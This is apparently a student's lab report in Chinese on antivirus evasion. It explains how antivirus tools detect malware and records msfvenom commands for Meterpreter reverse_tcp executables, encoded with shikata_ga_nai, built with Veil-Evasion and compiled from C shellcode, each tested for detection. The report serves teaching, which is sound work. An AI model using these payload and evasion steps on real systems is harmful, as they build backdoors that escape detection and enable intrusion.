• 20145316许心远《网络攻防》第三次实验:免杀原理与实践


    基础问题回答

    杀软是如何检测出恶意代码的?

    • 基于特征码的检测
    • 启发式恶意软件检测
    • 基于行为的恶意软件检测

    免杀是做什么?

    • 免杀即“反-反病毒”/“反杀毒技术”,在这个实验中可以让安插的后门不被AV软件发现。

    免杀的基本方法有哪些?

    • 改变特征码
      • 如果你手里只有EXE
        • 加壳:压缩壳 加密壳
      • 有shellcode(像Meterpreter)
        • 用encode进行编码
        • 基于payload重新编译生成可执行文件
      • 有源代码
        • 用其他语言进行重写再编译(veil-evasion)
    • 改变行为
      • 通讯方式
        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码

    实践总结与体会

    • 本次实践是十分有趣,一直以来我都十分信任自己的杀软,我会隔一段时间就用杀软对我的电脑进行一次全面检测查杀,本以为这样的好习惯可以保证绝对的安全,事实证明,naive。
    • 通过virscan平台的几次实验,对各类杀毒软件的靠谱性有了大致的了解(虽然可能一些杀软因为运气不好被我冤枉了),总的来讲,好像外国的杀软更好用一点啊?我们平日里解除的某卫士、某星、某毒霸令我失望。

    离实战还缺些什么技术或步骤

    • 靶机要乖乖关闭防火墙开放端口等我把后门种进去,这通常是不现实的,防火墙关闭电脑会一直提醒你打开。
    • 杀软的病毒库都是在一直更新的,我们现阶段所知道的方式能做出来的免杀,大公司早就想到了,一有出现立即更新。
    • IP地址会有更新。

    实践过程记录

    msfvenom直接生成meterpreter可执行文件

    • 我的主机(win10)ip
    • 虚拟机kali的ip
    • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali的ip PORT=任意 -f exe > met.exe生成meterpreter可执行文件
    • 靶机打开端口监听
    • 使用ncat传输到主机(上次实践的方式)
    • 前提:关闭杀软(否则回即时清除)
    • 传输成功
    • 到www.virscan.org上检测多少杀软可以把它查杀出来
    • 毕竟是简单恶意软件,可以看出来,还是很多杀软发现有病毒的。

    Msfvenom使用编码器生成meterpreter可执行文件

    编码一次

    • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=kali的ip LPORT=任意 -f exe > met1.exe生成编码一次的可执行文件
    • 发到主机,再次检测
    • 好像能查杀出来的AV稍微少了点哦,不过进步不明显,还是要努力啊。

    编码十次

    • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=kali的ip LPORT=任意 -f exe > met2.exe
    • 发到主机,检测(糟糕啊,写博客发现忘记截图了!)
    • 算了,大家知道就好,我们的恶意软件依然没有多大进步,看来AV对这种软件的抵抗度很高,毕竟西方哪一个国家我没有去过~

    使用Veil-Evasion生成可执行文件

    • 在kali终端直接输入veil-evasion进入ve界面,输入use python/meterpreter/rev_tcp
    • 使用set LHOSTset LPORT命令,都设为kali的,成功界面如下:
    • 最终生成的可执行文件在这个目录下/var/lib/veil-evasion/output/compiled/,大家进去自己找一下
    • 传送到主机,检测结果
    • 已经有很大的进步啦,这种方式效果不错

    使用C语言调用Shellcode

    • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali的IP LPORT=任意 -f c生成一个C语言数组
    • 利用这个数组在主机的vs平台下写shellcode(感谢高其同学提供源代码供我复制粘贴~)
    • 编译成为可执行文件
    • kali端进行msf监听(上节课内容)
    • 获取主机权限
    • 检测结果
    • 很厉害啊,只有几个杀软能杀出来了
  • 相关阅读:
    VMware Workstation9安装Mac OS X10.9系统
    如何在windows下的Python开发工具IDLE里安装其他模块?
    Git在下搭建下环境的工具
    Git的安装与使用
    Linux(CentOs6.4)安装Git
    VMware虚拟机上网络连接(network type)的三种模式--bridged、host-only、NAT
    centos 6.5 升级内核 linux 3.12.17
    让CentOS系统时间同步
    编译安装LNMP Centos 6.5 x64 + Nginx1.6.0 + PHP5.5.13 + Mysql5.6.19
    64位CentOS5.6安装Mysql 5.5.11GA
  • 原文地址:https://www.cnblogs.com/xxy745214935/p/6598199.html
Copyright © 2020-2023  润新知